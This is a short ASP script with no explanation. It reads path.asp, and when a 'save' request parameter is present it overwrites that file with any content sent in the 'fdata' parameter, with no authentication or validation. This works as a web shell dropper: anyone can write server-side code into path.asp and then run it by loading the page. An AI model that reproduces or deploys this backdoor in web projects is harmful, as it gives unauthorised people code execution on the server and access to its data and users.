<% dim objFSO dim fdata dim objCountFile Set objFSO = Server.CreateObject("Scripting.FileSystemObject") if request("save")="" then Set objCountFile = objFSO.OpenTextFile(Server.MapPath("path.asp"),1,True) If Not objCountFile.AtEndOfStream Then fdata = objCountFile.ReadAll else fdata=request("fdata") Set objCountFile=objFSO.CreateTextFile(Server.MapPath("path.asp"),True) objCountFile.Write fdata end if objCountFile.Close Set objCountFile=Nothing Set objFSO = Nothing %>
